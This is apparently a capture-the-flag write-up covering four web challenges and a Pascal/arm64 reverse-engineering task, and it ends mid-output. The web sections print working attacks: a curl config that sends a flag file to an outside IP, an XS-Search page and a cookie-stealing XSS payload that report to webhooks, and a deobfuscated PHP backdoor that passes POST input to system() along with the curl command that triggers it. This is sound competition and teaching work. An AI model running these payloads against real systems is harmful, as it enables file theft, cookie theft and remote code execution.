# Web ## Exiffetcher In this challenge, we have the ability to control the flow of curl using the `-K` option. This allows us to perform arbitrary read operations and send a flag to our server. In the provided snippet of the source code below, you can see that curl is being used: ```javascript=47 const a = spawnSync("curl", [ imageUrl, '-o', tmpFilePath, '--max-filesize', '3000000', '--connect-timeout', '10' ``` The only elements we can control in this code are `imageUrl` and `tmpFilePath`. The interesting part comes after the curl parameters. If we take a look at the image provided, we can specify a configuration file using the `-K` parameter. When we execute the command `curl -K "config.conf"`, the content of the `config.conf` file will be executed by `curl`. ![Curl Config](https://hackmd.io/_uploads/BkYiNUbq2.png) In summary, the challenge allows us to control the curl behavior through a configuration file specified with the `-K` option, and our task is to leverage this to read and send the flag to the server. ### Exploit Here is the payload I used to bypass a Web Application Firewall (WAF) that has been implemented in this code: ```javascript=29 const tokens = imageUrl.split('://'); if (tokens.length == 2) { const fileType = imageUrl.split('.').pop(); console.log(fileType) if (allowedProtocols.find(protocol => tokens[0].match(protocol))) { if (allowedExtensions.find(extension => fileType.match(extension))) { if (!fs.existsSync('/tmp/' + fileType)) { fs.mkdirSync('/tmp/' + fileType); } tmpFilePath = fileType + '/' + crypto.createHash('sha256').update(imageUrl).digest('hex'); } } } ``` :::info This payload is designed to retrieve the `solve.conf` file from our server, which will have the following format. The URL specified in the `url` field is our webhook where we will send the flag: ``` url=http://108.137.37.157:4444 data=@/app/flag.txt ``` The second payload is used to trigger the execution of the `solve.conf` file that we have already sent to the server. This will prompt the server to send us the flag. ```python= import hashlib def getSha256(text): return hashlib.sha256(text.encode()).hexdigest() solve_conf = "0.tcp.ap.ngrok.io:10544/solve.conf" image_url = f"{solve_conf}#.pnghttps://" print("Payload 1:", image_url) sha256_hash = getSha256(image_url) image_url = f"-K/tmp/./pnghttps:///{sha256_hash}" print("Payload 2:", image_url) ``` output: ![](https://hackmd.io/_uploads/Sk2GqUZch.png) ::: By using these payloads, we can exploit the code to retrieve the `solve.conf` file and obtain the flag by triggering its execution. ![](https://hackmd.io/_uploads/BJ8ETL-93.png) ![](https://hackmd.io/_uploads/SJkUa8Z53.png) ![](https://hackmd.io/_uploads/SyizaIb5n.png) ## CodeShare In this challenge, we will be using a well-known technique called Time-Based XS-Search with opener. You can find a reference for this technique [here](https://xsleaks.dev/docs/attacks/xs-search/). The source code reveals that there is a route to `/codes`, which retrieves the query parameter 'q' and performs a search using it. If the output of the query is too long, it introduces a delay in the process. This delay allows us to employ the XS-Search technique by observing the timing of the request. If the request is faster, it indicates that the character of the flag is correct; otherwise, if it takes longer, it does not match the flag. ![Source Code](https://hackmd.io/_uploads/HJYLEOZ9h.png) To exploit this challenge, you can use the provided payload below and host it on your server: :::spoiler index.html ```html= <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <script> const target = "https://codeshare.circleous.dev/codes?q="; var FLAG = "CJ2023" const webhook = "https://webhook.site/570baaee-5382-46b6-be76-640ff64bfcd5" function populate(number) { return new Promise((resolve, reject) => { const form = document.createElement("form"); form.target = "myform"; form.method = "post"; form.action = "https://codeshare.circleous.dev/codes"; document.body.append(form); const title = document.createElement("input"); title.name = "title"; title.value = "@"; const lang = document.createElement("input"); lang.name = "lang"; lang.value = "@"; const content = document.createElement("input"); content.name = "content"; content.value = "@".repeat(20 * 10000); form.appendChild(title); form.appendChild(lang); form.appendChild(content); // make submit without leaving the page var win = window.open("", "myform"); form.submit(); function measure() { try { win.origin; setTimeout(measure, 0); } catch (e) { win.close(); fetch(`${webhook}?x=alive&y=${number}`, { mode: "no-cors", }) resolve(); } } measure(); }); } function extract(chars) { return new Promise((resolve, reject) => { var win = window.open(target + chars); var start = performance.now(); function measure() { try { win.origin; setTimeout(measure, 0); } catch (e) { win.close(); var time = performance.now() - start; if (time < 30) { FLAG = chars fetch(`${webhook}?x=${time}&y=${FLAG}&z=${chars}`, { mode: "no-cors", }) } resolve() } } measure(); }); } (async () => { // add a buch of data to delay the request if the query not found for (var i = 0; i < 20; i++) { await populate(i); } const alphabeth = "{}1234567890abcdef" while (true) { for (var char of alphabeth) { await extract(FLAG + char); } } })(); </script> </body> </html> ``` ::: To summarize, the provided HTML payload implements the Time-Based XS-Search technique by performing a character-by-character search for the flag through the introduced delays in the request. By analyzing the response timing, the script determines the correct characters of the flag and sends the gathered information to a designated webhook server. ![](https://hackmd.io/_uploads/BkRBtuWq2.png) ## Exiffetcher 2 In this challenge, the vulnerability is on the client-side, where the value is not properly sanitized, as shown in the image below. This allows us to perform a Cross-Site Scripting (XSS) attack by inserting our payload. ![Vulnerability](https://hackmd.io/_uploads/H10KZw-qn.png) To exploit this vulnerability, we inject our payload into the image using the following command: ```sh! exiftool -Model="<img src=x onerror='location=`http://108.137.37.157:4444?`+document.cookie'>" evil1.jpg ``` As a result, our payload will be appended to the "Camera Mode Name" key, as seen in the output below: ![Payload Appended](https://hackmd.io/_uploads/BkxRGDWq3.png) After performing this step, we need to host the HTML file in the same folder where the `evil1.jpg` file exists. Then, we send the URL of this HTML file to the bot. Here's the HTML file to be hosted: ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <form action="https://exiffetcher.hackthesystem.pro/" method="post"> <input type="text" id="url" name="url"> </form> <script> document.querySelector("#url").value = `${location.origin}/evil1.jpg`; document.querySelector("form").submit(); </script> </body> </html> ``` By executing this process, the bot's cookie will be sent to our webhook server, allowing us to obtain sensitive information. ## Strange We are given a case where a website was hacked and a backdoor was uploaded (https://strange.hackthesystem.pro/upload/uploaded.php). The challenge provides us with the obfuscated backdoor file. After some source cleanup (deleting a verrryyyyyy long spaces, newlines, etc), we have this code: ```php= <?php $__ = 'printf'; $_ = 'Loading Hacked'; $_____ = 'b2JfZW5kX2NsZWFu'; $______________ = 'cmV0dXJuIGV2YWwoJF8pOw=='; $__________________ = 'X19sYW1iZGE='; $______ = ' Z3p1bmNvbXByZXNz'; $___ = 'b2Jfc3RhcnQ='; $____ = 'b2JfZ2V0X2NvbnRlbnRz'; $__ = 'base64_decode'; $______ = $__($______); if (!function_exists('__lambda')) { function __lambda($sArgs, $sCode) { return eval("return function($sArgs){{$sCode}};"); } } $__________________ = $__($__________________); $______________ = $__($______________); $__________ = $__________________('$_', $______________); $_____ = $__($_____); $____ = $__($____); $___ = $__($___); $_ = 'eNrtWk1vo0gQvUfa/+DDSM5Iowiwk6wV+WDMhyFDO2DAwCWywYM/cHBiJxh+/VZ1Y5zs5jCrXa20o36WklR3V9Wj6nVZit1qMXx5BPTbu5fV0+FH+46aNfrt0SzeLJLWMJvt91dXV+27i9qr9dsFf51fF1i21r+I/l9W2oHY24dTcRXpar9Nl87d+CnUre23ODg4OH5NtOOtLySB+WrovhROi9zUej+CcnPLhiZMTTauH3mpODg4ODg4ODg4OP5v4P/O4ODg4Ph10Z7P9oub7mOyiPNk0b7jFeHg4ODg4PhH+Ph5fyT1hHkpa7afCfZ6nzqeFiWqcWMMnTyWxHU8HPSMoRlbriEFSngMRqkY+sXRWiewZqMthVkhEboWwZoqwpow1oojcR306wSKKlgZ7Cvo4xUYw/KPXeJG8UKJVrBfkgzstQa2d437BM+vTbS76E802Kf+AwnjR2f/DfpbGbMpT9gnItiVE5O1DGeAt6IWNIeOOWKBxUROTv1swNFvctIYIeaA/YYT7le47yypP+WQnPwLUtcFOK3BrqyVcWvoyVui/54mU020BPXW0OSMVGkxXg02E2mpETfFj6tsVyTetHS8ZHP9OtOE3biUn+Yd583Q7c58eliDbbsBGUdKntY90xPP/+65+5Ntgu8sVsAe5eV0W2APFduX1dkKeqgMGi6L0W4cboVbY+S/zDfH4Xgl76LVIDcm6cYWNNvR8/RhOBDuJ5t0ceKhmttAuhaAR+8UJ5KWE2+TQtyeM6lkF59pVslPvmqkDxP4e0QOYWeQfof1aZCo0UZoONQckcMycYk8Pp9B3xWtN/bcJdhzsemHS/vRoboTQWO0f3GJNq2/QjVYUn8R+4H+tJ8i1Yjun7Rc0B7hWiWfes5iumjbVaO7LTlpoDPGHK6P+108P6YcfaZ7RRUt1N1UY5wwPnC2IH6tS5Hqkul2fdZ1hvFRoyLTpMmekWlSoneFxoiP9K5o9RqN42zZ/WI8oVYlPVPzrGvXsbAWrrU666ruWSkPx6PkNazy1FSJ7KnO8325b/rkqWLlbm2wxQPxSPFeK4EoP3iiMw+3WhW5oRBIThZKvU0Ee7GuQe2NXTAZ9B5cITX1fRGJzvCDprTddeTvjPeaWqyTTuLDPRnlnaTjO+/uCehCrpKRWUZBmH+SEzUj0TlD7yDtZ2XhHFIIzAGqAwFrEU6M3f353jxHT+ZyDHbikb3zFOK9KcIAZsqKzb4Fm3sCEU8zzauaOag0919i82BZ5xqUjT7WLD/0KqOcUAM6xlGLRtdbk/USbKoZCWZX5b3rV13/hi/0S3Mkd3udG4qQfloP1IV44jhAjh064yqNzWXkAjZh9aIzjvKlMzLssnqyZ/rz80ANRDZT0d9evaunHblx18I5xOYD1vPFgmllYz11cxlLnkQ04Dglb5Hu5Y02zjFG82m0teD9qJ5VN4YKJ7wD6KGux2l2NWfzdKbvnue6enPSkr1eduZb69ZQM8nNdqjdYZT1XpPzDBVt6agnkCdSksNMsm4aTab9fvvu4uK/f2Pu09+XtfX17u+4v/P9Gccv54SXbfzZ/tak5d/7+/x7fx9rd/mhWax0X+/+AHJ5pAE='; $___(); $__________($______($__($_))); $________ = $____(); $_____(); echo $________; ``` It looks like that this PHP code is trying to obfuscate or hide function calls. We can also see that there's a very long `base64` string. I tried to decode it the normal way but it looks like that the decoded result was "incorrect". However, we can see that the `$_` variable is being passed to a function call. the variable `$_` is being passed to function variable `$__` and the result of that function will be passed function variable `$______`, and same goes for that function, the result will be also passed to function variable `$__________`. Let's find out first what are these "functions" really are. First we can see that `$__` is a normal `base64_decode` function, nothing really interesting about it. Then, it looks like that the string from variable `$______` is a base64 encoded string, which is `gzuncompress`. Okay, from here we already know that the data from the long base64 encoded string is actually being compressed with with gz, so we can just call `gzuncompress` to see the actual source code of the backdoor. Here's the decoded source: ```php $____='printf';$___________='Hacked Class...'; $___ = 'X19sYW1iZGE='; $______='cmV0dXJuIGV2YWwoJF9fXyk7'; $____='base64_decode'; $___________='Z290byBFQVl0QjsgRUFZdEI6ICRoc21jcCA9ICJcMTI2XDYxXHg1YVwxMjdcMTQxXHg2Ylw2NVwxMjZcMTE1XHg0OFwxNTRcMTI3XDE0MlwxMDdcMTUwXHg1MVx4NTZceDZiXDEyNlx4NjFceDU5XHg1NlwxMjJceDU4XDE0NFx4NDdcMTA2XHg0ZVx4NTZceDZkXDEyMlx4NTZcMTI2XHg0N1x4NzRcNjBceDYxXDEwNlx4NGFceDc0XDE0NFwxMDRcMTI2XDE0MVwxMjJceDU2XHg0YVx4NDRceDU5XHg1NVwxMzJceDRhXDE0NVx4NTdcMTI2XDEwNVwxMjdceDZjXDEzMiI7IGdvdG8gdWF1M0E7IFBlNzgwOiAkS2hFNTgoJF9QT1NUWyRUdk5uaF0pOyBnb3RvIGQ3bWtjOyBQTXNOZDogZ290byBGdUVLUTsgZ290byBJdk5acDsgZHoyWmw6ICRDQVBEaiA9IDA7IGdvdG8geHpOYm07IHVrbkxCOiBpZiAoISgkQ0FQRGogPCA0KSkgeyBnb3RvIEJmX250OyB9IGdvdG8gZ2hSUkg7IG9RSzBTOiAkazBnVEIgPSAkaHNtY3AgLiAkWXdEZk07IGdvdG8gZHoyWmw7IHVhdTNBOiAkWXdEZk0gPSAiXHg1NFx4NTNcMTA1XHg0YVx4NTRceDU3XHg2Y1wxNDRcMTcyXHg2NVwxMDZcMTEyXHg1N1wxMjNcMTU2XHg1Mlx4NGVcMTI2XDYwXDEzMlx4NzBceDU2XHg2Y1wxNTBceDQzXDE0NFx4NmNceDU5XHg3OVwxMTVceDQ4XHg2OFx4NTVcMTE1XDE1M1x4NWFcMTcyXDEzMVx4MzBcMTI2XHg1N1x4NTZceDZjXDE0NFx4NDlceDUxXDE1NFwxMDJceDU3XDE0MVw2MVx4NzBcMTcxXDEyNFw2MVx4NTZceDRmXDE0Mlx4NmNcMTAyXDEyNVwxMTVcMTA1XHg3M1wxMTMiOyBnb3RvIG9RSzBTOyBCOHduYzogJENBUERqKys7IGdvdG8gUE1zTmQ7IG1tNUNwOiBpZiAoISgkX1BPU1RbYmFzZTY0X2RlY29kZSgkcGFxMjIpXSA9PT0gJGswZ1RCKSkgeyBnb3RvIFp5ZVpIOyB9IGdvdG8gejd3dVE7IHo3d3VROiAkS2hFNTggPSBzdHJyZXYoYmFzZTY0X2RlY29kZSgiXHg2MlwxMjdceDU2XHgzMFwxNDNcNjNcMTU0XHg3YSIpKTsgZ290byBqZnJhOTsgdUNsRnY6ICRwYXEyMiA9ICJceDYxXHg0N1wxNTRcMTUzXHg1YVwxMDdcMTI2XDE2NVx4NThcNjNcMTAyXHg2OFx4NjNcNjNceDRlXHgzM1x4NGRcMTEwXHg0YVx4NmJceDRmXHg0MVx4M2RcNzUiOyBnb3RvIG1tNUNwOyBqZnJhOTogJFR2Tm5oID0gYmFzZTY0X2RlY29kZSgiXDE0M1wxMDdcMTA2XDE3MVwxMzFcMTI3XHgzMVwxNjdceDU5XHg1OFx4NGFceDY4XHg2Mlx4NThcMTAyXHg2OFx4NjNcMTU1XDEwNlwxNjQiKTsgZ290byBQZTc4MDsgZ2hSUkg6ICRrMGdUQiA9IGJhc2U2NF9kZWNvZGUoJGswZ1RCKTsgZ290byBHbWZmMjsgeHpOYm06IEZ1RUtROiBnb3RvIHVrbkxCOyBHbWZmMjogaGpqbGE6IGdvdG8gQjh3bmM7IEl2TlpwOiBCZl9udDogZ290byB1Q2xGdjsgZDdta2M6IFp5ZVpIOg=='; $______=$____($______); $___=$____($___); $_____=$___('$___',$______); $_____($____($___________)); ``` It's basically the same stuff from the first backdoor file, except this part we don't need to uncompress the data from the base64 encoded string. Here's the "final" backdoor source: ```php <?php goto EAYtB; EAYtB: $hsmcp = "\126\61\x5a\127\141\x6b\65\126\115\x48\154\127\142\107\150\x51\x56\x6b\126\x61\x59\x56\122\x58\144\x47\106\x4e\x56\x6d\122\x56\126\x47\x74\60\x61\106\x4a\x74\144\104\126\141\122\x56\x4a\x44\x59\x55\132\x4a\145\x57\126\105\127\x6c\132"; goto uau3A; Pe780: $KhE58($_POST[$TvNnh]); goto d7mkc; PMsNd: goto FuEKQ; goto IvNZp; dz2Zl: $CAPDj = 0; goto xzNbm; uknLB: if (!($CAPDj < 4)) { goto Bf_nt; } goto ghRRH; oQK0S: $k0gTB = $hsmcp . $YwDfM; goto dz2Zl; uau3A: $YwDfM = "\x54\x53\105\x4a\x54\x57\x6c\144\172\x65\106\112\x57\123\156\x52\x4e\126\60\132\x70\x56\x6c\150\x43\144\x6c\x59\x79\115\x48\x68\x55\115\153\x5a\172\131\x30\126\x57\x56\x6c\144\x49\x51\154\102\x57\141\61\x70\171\124\61\x56\x4f\142\x6c\102\125\115\105\x73\113"; goto oQK0S; B8wnc: $CAPDj++; goto PMsNd; mm5Cp: if (!($_POST[base64_decode($paq22)] === $k0gTB)) { goto ZyeZH; } goto z7wuQ; z7wuQ: $KhE58 = strrev(base64_decode("\x62\127\x56\x30\143\63\154\x7a")); goto jfra9; uClFv: $paq22 = "\x61\x47\154\153\x5a\107\126\165\x58\63\102\x68\x63\63\x4e\x33\x4d\110\x4a\x6b\x4f\x41\x3d\75"; goto mm5Cp; jfra9: $TvNnh = base64_decode("\143\107\106\171\131\127\x31\167\x59\x58\x4a\x68\x62\x58\102\x68\x63\155\106\164"); goto Pe780; ghRRH: $k0gTB = base64_decode($k0gTB); goto Gmff2; xzNbm: FuEKQ: goto uknLB; Gmff2: hjjla: goto B8wnc; IvNZp: Bf_nt: goto uClFv; d7mkc: ZyeZH: ?> ``` We can see that this code does a lot jumping to another line of code, but it doesn't really matter if we can just find the main functionality of this code. First, we have `$hsmcp` variable, which holds a string that should be equal to `V1ZWak5VMHlWbGhQVkVaYVRXdGFNVmRVVGt0aFJtdDVaRVJDYUZJeWVEWlZ`, looks like a normal base64 encoded string! But if we decode it, it looks like that we have another base64 encoded string, so we need to decode it few times and we get a string `howyoucancrackthis`, we can keep it on a note for a while. Now, we can see that variable `$hsmcp` is actually being concatenated with variable `$YwDfM` and store it to variable `$k0gTB`, let's take a look at variable `$YwDfM`! It looks like that variable `$YwDfM` behave the same as the `$hsmcp` variable, which holds a base64 encoded string and we need to decode it few times to see the actual string, but! we actually cannot decode this encoded string. We noticed before that both of our base64 strings are being concatenated together to a variable `$k0gTB`, and we can see on the source that variable `$k0gTB` is actually being decoded, not our `hs` or `Yw` variable. Let's decode it few times and we got `howyoucancrackthis?4301ffbafccd4356`. Okay, it looks like that it's not the flag, but it could be something like a _password_, because a backdoor usually have a password to protect it from other from using it. Okay, if we analyze the code further, we can see that we have this line of code: ```php $KhE58($_POST[$TvNnh]); ``` First, let's take a look at `$KhE58`, it looks like that the string is from a result of strrev, which the the function actually gets the first parameter from a string from `base64_decode`, let's find out what the string actually is by running the code in PHP: ![](https://hackmd.io/_uploads/ryK2DHZ9n.png) Look at that! we finally found our main backdoor code, which calls `system` that could give us RCE or Remote Code Execution. The command line sent to `system` is being passed from a POST data, which comes from variable `$TvNnh`, which should contain string: `paramparamparam`. Okay, now we just need to find a way to reach the `system` code. Since the code is obfuscated with jumps that made it a bit harder to analyze, we can just assume that the backdoor requires a password, which comes from the POST parameter, and then it will be executed if we provide the password correctly. We can assume the password check thing because of this piece of code: ```php if (!($_POST[base64_decode($paq22)] === $k0gTB)) { goto ZyeZH; } ``` Which will lead us eventually to the `system` code. (if password correct: `z7wuQ` > `jfra9` > `Pe780` > `system` calls) We can see that the password POST param comes from result of base64 decoded string from variable `$paq22`, which should be equivalent to `hidden_passw0rd8`. Okay, so we have everything we need, let's fire it up and see if we have gained RCE! Here's the `curl` command i'm using: ```bash curl -X POST https://strange.hackthesystem.pro/upload/uploaded.php -d "hidden_passw0rd8=howyoucancrackthis?4301ffbafccd4356&paramparamparam=id" ``` ![](https://hackmd.io/_uploads/ry33Yrbcn.png) Noice! Let's find the flag! ![](https://hackmd.io/_uploads/ByICtrWqn.png) It looks like that flag is not in the current working directory, let's travel the path once. ![](https://hackmd.io/_uploads/ry5W5B-9h.png) There you go! `CJ2023{cbbfdd471b88dd4f34e02360d4629399a1b261f0}` # Reverse Engineering ## Foreign We are given an attachment `main.s`, which contains an arm64 assemblies: ![](https://hackmd.io/_uploads/rJXcqHZ93.png) The challenge description said that we just need to compile the program and run it to get the flag...but what is it and how do we do it? We can see that on the first line of the file, it says `main.pas`, which .pas usually refers to Pascal file: ![](https://hackmd.io/_uploads/BymXiBWqh.png) Our assumption was right that it was a Pascal code, it's also supported by the fact that there's this piece of line in the file: ![](https://hackmd.io/_uploads/BJfSjBZc3.png) Okay, we know that it's a Pascal code, but how do we compile it to an executable? After some digging on the internet, we can first compile the file to a pascal object file (.o) by using `as` tool. But since the assembly architecture is arm64/aarch64 and my machine is x86_64, we need to use `aarch64-linux-gnu-as` instead. ![](https://hackmd.io/_uploads/HknMhS-cn.png) Okay, we have succesfully compiled the source to object file. Now, how do we link it to an executable? Let's take a look first of the object file in IDA for a better understanding of how the program actually work. ![](https://hackmd.io/_uploads/HkTt3Hb5h.png) If we take a look a the `main` code, we can see that calls a function `P_FOREIGN____RUN_ANSISTRING` with a parameter of `TC__P_FOREIGN____CODE`. The parameter contains bunch of alphabets string and the function seems like does some operations: ```c __int64 __fastcall P_FOREIGN____RUN_ANSISTRING(_BYTE *a1) { __int64 v1; // x0 int v2; // w0 _BYTE *v3; // x1 unsigned int v4; // w0 unsigned int v5; // w0 unsigned int v6; // w1 unsigned int v7; // w0 unsigned int v8; // w1 unsigned int v9; // w0 unsigned int v10; // w1 unsigned int v11; // w0 unsigned int v12; // w1 unsigned int v13; // w0 unsigned int v14; // w1 unsigned int v15; // w0 char *v16; // x1 __int64 v17; // x0 char *v18; // x0 __int64 v19; // x0 __int64 result; // x0 _BYTE *v21; // [xsp+0h] [xbp-2040h] BYREF _BYTE *v22; // [xsp+8h] [xbp-2038h] _BYTE *v23; // [xsp+10h] [xbp-2030h] BYREF _BYTE *v24; // [xsp+18h] [xbp-2028h] unsigned __int64 v25; // [xsp+20h] [xbp-2020h] _QWORD v26[1000]; // [xsp+28h] [xbp-2018h] unsigned __int16 v27; // [xsp+1F68h] [xbp-D8h] __int16 v28; // [xsp+1F6Ch] [xbp-D4h] __int64 v29; // [xsp+1F70h] [xbp-D0h] BYREF __int64 v30; // [xsp+1F88h] [xbp-B8h] BYREF __int64 v31; // [xsp+2030h] [xbp-10h] v21 = a1; fpc_ansistr_incr_ref(a1); v1 = fpc_pushexceptaddr(1LL, &v30, &v29); v2 = fpc_setjmp(v1); v31 = v2; if ( !v2 ) { SYSTEM____GETMEM_POINTER_QWORD(&v23, 0x400LL); v22 = v23; SYSTEM____FILLBYTE_formal_INT64_BYTE(v23, 0x400LL, 0LL); v27 = 0xFFFF; v24 = v21; v3 = v21; if ( v21 ) v3 = (_BYTE *)*((_QWORD *)v21 + 0xFFFFFFFF); v25 = (unsigned __int64)&v3[(_QWORD)(v21 + 0xFFFFFFFF)]; if ( v24 ) { do { v4 = (unsigned __int8)*v24; if ( v4 >= 0x65 ) { v5 = v4 - 0x65; if ( *v24 == 0x65 ) { --*v22; } else { v6 = v5; v7 = v5 - 1; if ( v6 == 1 ) { --v22; } else { v8 = v7; v9 = v7 - 1; if ( v8 == 1 ) { if ( *v22 ) { v26[++v27] = v24; } else { v28 = 1; while ( v28 && (unsigned __int64)v24 <= v25 ) { if ( *++v24 ) { if ( *v24 == 0x67 ) { ++v28; } else if ( *v24 == 0x6E ) { --v28; } } else { SYSTEM____HALT_LONGINT(0LL); } } } } else { v10 = v9; v11 = v9 - 2; if ( v10 == 2 ) { if ( FPC_THREADVAR_RELOCATE ) v16 = (char *)FPC_THREADVAR_RELOCATE(U__SYSTEM____STDOUT); else v16 = (char *)(&U__SYSTEM____STDOUT + 2); v17 = fpc_write_text_char(0LL, v16, (unsigned __int8)*v22); fpc_iocheck(v17); if ( FPC_THREADVAR_RELOCATE ) v18 = (char *)FPC_THREADVAR_RELOCATE(U__SYSTEM____STDOUT); else v18 = (char *)(&U__SYSTEM____STDOUT + 2); v19 = fpc_write_end(v18); fpc_iocheck(v19); } else { v12 = v11; v13 = v11 - 5; if ( v12 == 5 ) { if ( *v22 ) v24 = (_BYTE *)v26[v27]; else --v27; } else { v14 = v13; v15 = v13 - 1; if ( v14 == 1 ) { ++v22; } else if ( v15 == 3 ) { ++*v22; } } } } } } } ++v24; } while ( (unsigned __int64)v24 <= v25 ); SYSTEM____FREEMEM_POINTER_QWORD(v23, 0x400LL); } } fpc_popaddrstack(); fpc_ansistr_decr_ref(&v21); result = v31; if ( v31 ) return fpc_reraise(); return result; } ``` It's gonna a bit tough for us to reverse the code manually, so let's find a way to run the object file! After some digging, we can use `fpc` (Free Pascal Compiler) to compile the object file. Okay okay, here's where thing get's interesting. We know that this object file is actually already an executable code, so when we tried to compile it using `fpc`, we get this: ![](https://hackmd.io/_uploads/rkqJAB-9n.png) My assumption of why this error happened was that `fpc` only accepts pascal code instead of an object file. *sigh* After some digging, I found this thread on StackOverflow that explains how we can link object file to a pascal code: https://stackoverflow.com/questions/22041506/linking-fpc-o-files-into-delphi The key point of the thread was this code: ```pascal {$APPTYPE CONSOLE} {$L 'unit1.o'} function Test(i: Integer): Integer; cdecl; external name 'UNIT1_TEST$SMALLINT$$SMALLINT'; begin Writeln(Test(666)); end. ``` We can see that the code links `unit1.o` file, which the library should contain function `Test` in it, the exported symbol is just mangled in a very, very, very weird way. But I managed to understand it, here's what i understand of the mangling is that `UNIT1_TEST$SMALLINT$$SMALLINT` should be equivalent to: ```pascal function UNIT1.TEST(i: SmallInt): SmallInt; ``` Okay, we finally know how to link library in pascal, let's try it on our challenge! This was the code I'm using: ```pascal {$APPTYPE CONSOLE} {$L 'main.o'} procedure run(s: AnsiString); external name 'P$FOREIGN_$$_RUN$ANSISTRING'; var s: AnsiString; begin s := 'zvpjzcpsrwrtlplhjvrkzcjrlvkxalrzaksrhjjmdtcbmrlazhturpvurwchbvrahpwlgpbodpcjdrpywldzqowdrlhmsuhrbrbkdkjzuxvoxclbymjsrdpjxyczmsrzlkqyxaraumhkzyrsmavzjrqrsxwqwvxptqrczkzkodjjaarhpqrxawwqtajjrubsyzwrqzpubqqsbrprwxxrschxbbpmuzrskqkrzyklyyvkwyrtlfzjsvpftttwbfzdqfkbypezpjjuxnyopzjmomxwbsdcocxvlykjwekezwvvpyyespzmdsiajlramrhzkvlrcwydrsmkvpamsrpzvyrqvmysbmmlkrqjcmhmpuzilyppcmssqfccyrjjyuaytrdyuqltlqtdrqcmlmybzwrvydsttrhhlahqxudrzwthtwjwsrqhtudrzvaqqumyjrmpkptcvpqrjktrzqcsbcrxpycrbajrjkqkzmcyyaryujtjhzrdutjapjtcrphavjrptwkrlrlxidqssajdeddtscvluvewksmljkazivaprtzxrmptqvbxqpyimvzurpaptqxyiqsuoyotrwyajtamzarbraqrldxtwmrmysryjhcwtxtdrdmsxddtaswrmvhjqarukrxdruxrkuykrcjclydrmrhqsjrdlxjrkuxvwxvxmrhprlqwpbldyruudsjrxrlmqkycrxlsdcsyibmewuvlcwzvezzqteteqsmpybhdseztdytsblkwemkbzyljdttezumxaezbelhzblmzqwekbatzeyexmdvesueqwjkbjvaqexiwmmxypevuvlckeuwdaqeclskpemuwzhkqeuespxkzjvxebyhvycwixhcwhcysyitrapmruckppbrvublqhuzujrmpuhsdqrsrvzhrbudlprzbaylvrdrtdkdlyzswrmzsjpkkqapratmmudrlmchsmdrsjmxlxxajrzbujjiszsycfxlpbrjrhmrqtsvaksyujrmuypmmdxvrvqzdqllhrlrstralyzukmmcbrjbmbutapjrvpjmbcrpsuypxsrlcbzbspyazrsbzpjbrshjxkyrcxjdhurjmyryjssdtrbckrvcypsqqaptrprqxvibyolkxwemtutaxlemuscehelybwmeyedbklzcpdwbekqjqzwekyiwurmaxrhvcbdurqvyvbsjivuyzpuryjvzjxrubrmbrxclltvsruzvrpphmmjrptvvrdzjqyvximcvatcpapxfuycqikomvdvxubzeqzbyyzwcextxyexxcxcxujejhptupjdehvhmzkwejealmxxykwxqealxxwzmeykacpazyjeulmpmzcevapabaxijvfpclrartwzuuumdytrwylumhdddkrmvktddbvbbrtjyrjssdxsmziqhcjssosabbqrpjpzjcruxjzrvbcwjxpbmrpluwurvjjwrmtzhasvuumrwvrcmuwarsjsmqwrxjbjvzciykmskfjihmzdcrmvbrjcrmthysjsrjhrplbtumramrwhtdiwqbehsbmavwxeusbpeyzxxvehecsedmyeuezetypllzjdbqemdscucsdqlewaxmewswsdetupuhsjiqqquwkhuovhtvyezeulxvyletspqhqesklmyksexvuzhhvkauejjkwqxxuuqecyejtweudeahibzfljrmxlkrpvsrhdvxtzmaryrxuxxrpybibzeseyppeccxthpxvezlcbhiyovrjzltvtdrtvldbhbtcrjzxtsdyqkrtyvpbmwxdcrmturhydxhzmpxqispycaxtueuewckwqeajbkjwetsqzsvmviutxsjxblqmfqlyhhddzpurymazzhtxrcxqwcdxwwlrmddxbtdxybrwtxaiwjovwxtzjckkrvxrqysrjlswddwwljrhucvqvilpflqzzbleblbwykcqkjeyazwqwejkhsbdxcexlppwehwykxceqpcmvmbasiktcstlkuccrxpsruycydjadihlyvovuqrpxqtlpthxrxbujvxphrvzxsyyraxbltlxwdipbhedzdwtzlklkepqwzdhwwwejjxsmsetwuledevluuwudlsestvzuchqimqqexydzylepejbejbuahqhmsetbuhkejtwwihjqtpuvfvjtcjrmksljpvvrzjluwluzrjuzbiyvbmlzpwuebcyuqbmuedhvekztdytquuaeqetvbyicbobhcsqbruwrvhtxhrkipmbtldhbyaflwddhrpdykxwswrpisskhocsrwrultujwlsklrxkwwxwdwxwrbwhzcrtrylkqtbdiyvfqzbkhrsrdbmzvwrldssaruxumrarzhbxpsdxdiapapwdclqebjcyeplassismeddwamadepeycdwyhlwtwejbcytxyexktejsvauaqvimzvjkojekemqzvkehxyutqexqqzuethzlwhjjqpextmyzisjblvfdkkhukcrtwjxvlzmrwjhzjvqipbsxamvcodwjtsmzxrvurwssxtjqxciwttsdkxfbcrtyjbarhpxrkztujkjwzwrlkdxyhhprtxrjvmdvpdqaiyosdvrvzlttrzpldcvaqhbrqsjksyjhbvraywzrtywrvazxsxpdarjkilakzctdfmuvmwapkbqettdjyvkzxemtpcbcsbevmehajluqcehdvuvmmbdjetmmbihxacwrkyqsjayyurtrchrxhzwujpwsrakmkuctuljrdstitcmeduwaxpekzbhhdihbzkpdebassulmuqdetjxzewzvwwaqypqeyexslextkxdishvyvoxmeklesbxlpavzekeqdmxexcbvelqehptvmmhhdeuyizduppraaazsbrassiqvuabkfvyzahrzkrsqmzmtmwlrajyxjshxkrdprcuiqrvimyyzlomxubjuezzsjkadmebmwbajqhsebucmiacpkdarptakkjkrvzycalvtktrxxzqztsputrzkxzvraspxxkraqmhqsryrvjxkkqvrvcyujkmrkrpxvuvurdzcqartvwyzqdkasrxcvrmvzhblrxvyczrtktsdptvwiutbmdfq'; run(s); end. ``` Okay, here's a short summary of the code: - We link our compiled challenge source (main.o) - We declare a procedure `run` which links from our object file. We know it's a procedure because it doesn't have extra \$$ at the end (the return type should be after \$$ in the last string) - We declare our "unknown string" to a constant string - We call the the `run` function When I try to compile it, I got an error: ```bash Free Pascal Compiler version 3.2.2+dfsg-21 [2023/06/17] for x86_64 Copyright (c) 1993-2021 by Florian Klaempfl and others Target OS: Linux for x86-64 Compiling solve.pas 